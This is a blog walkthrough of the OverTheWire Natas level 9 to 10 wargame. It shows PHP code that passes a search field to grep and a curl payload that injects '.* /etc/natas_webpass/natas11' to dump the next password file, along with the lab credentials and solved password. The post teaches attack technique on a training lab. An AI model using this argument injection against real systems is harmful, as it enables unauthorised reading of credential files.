Avatar
Part time CTF Player learn every day!!
🌠 I Love Hoshimachi Suisei!! 🌠
🌠 I Love Hoshimachi Suisei!! 🌠

OverTheWire Natas Level 9 → 10 tutorial!!

Login

URL: http://natas10.natas.labs.overthewire.org
Credentials: natas10:t7I5VHvpa14sJTUGV0cbEsbYfFP2dmOu

# Using curl (optional):
curl -u natas10:t7I5VHvpa14sJTUGV0cbEsbYfFP2dmOu http://natas10.natas.labs.overthewire.org/

homepage

Task

The page provides a search box again. But unlike level 9, it restricts some characters.

A little bit of Theory

From the source (index-source.html):

<?php
$key = "";
if (array_key_exists("needle", $_REQUEST)) {
  $key = $_REQUEST["needle"];
}
if ($key != "") {
  if (preg_match('/[;|&]/',$key)) {
    print "Input contains an illegal character!";
  } else {
    passthru("grep -i $key dictionary.txt");
  }
}
  • Characters ;, |, & are blocked.
  • But we can still exploit grep with regex.
  • Trick: use .* (regex wildcard) before the file path → grep will print the file contents.

Further reading:

Solution

  1. Inspect the code and notice blocked symbols but not filenames.

    source

  2. Exploit grep with regex:

    In the search field, enter:

    .* /etc/natas_webpass/natas11
    

    Or with curl:

    curl -u natas10:t7I5VHvpa14sJTUGV0cbEsbYfFP2dmOu \
      --data-urlencode 'needle=.* /etc/natas_webpass/natas11' \
      http://natas10.natas.labs.overthewire.org/
    
  3. Read the output: the password file is echoed directly.

    success

Password

UJdqkK1pTu6VLt9UHWAgRZz6sVUZ3lEk

Troubleshooting

  • Got “illegal character” message? → Avoid ;, |, &. Stick to regex tricks.
  • Still seeing empty results? → Make sure you prepend .* (it matches everything).
  • Curl not working? → Add --data-urlencode to properly encode special chars.

Nice 🎉 You bypassed the filter by using grep regex and dumped the next password. Onward to natas11!


Thanks for reading!

Until next time — Otsumachi!! 💖☄️✨

Cinema

all tags

GOT-overwrite aboutme aead ai alphanumeric-shellcode apt argc0 argon2 aslr assembly asymmetric atoi automation backbox bandit base64 bash beginner behemoth binary binary-exploitation binary-to-ascii blackarch blind blind-sqli blogging blue-team bruteforce buffer-overflow buffer-overwrite c caesar canary capabilities checksec command-injection commonmark cookie cron crypto cryptography ctf cutter cyberchef cybersecurity defenders detection dev directory-traversal dnf docs drifter ecc education elf env envp exploitation finale forensics format-string formulaone frequency frequency-analysis gcc gdb getchar gfm ghidra github-pages governance gpg guide hashing hkdf http jekyll jmpbuf kali kasiski kdf kernel keylength kramdown krypton lab ld_preload leviathan lfi lfsr linux linux-syscall llmops log-poisoning ltrace manpage markdown maze memcpy mitigations mitmproxy mlops narnia natas networking newline-injection nonce nop-sled nx object-injection obsidian openssl osint overflow overthewire package-manager pacman parrot path path-hijacking pathname php pie pkc pki pointer-trick pqc priv-esc privilege-escalation provable-security pwn pwntools pyshark python race-condition radare2 rag randomness recon red-team redirect relro requests ret2env ret2libc reverse-engineering reversing ricing roadmap rop rot13 rsa scapy security seed seo serialization session setjmp-longjmp setuid shell shellcode smoke soc sockets sprintf sql-injection srop stack-canary stack-overflow strace strcmp strcpy streamcipher strings strncpy strtoul substitution suid suisei symlink symmetric terminal test threat-intel time-based tls troubleshooting tshark type-juggling ubuntu udp utumno vigenere virtualbox virtualization vmware vortex walkthrough web windows wireshark writing wsl x86
dash theme for Jekyll by bitbrain made with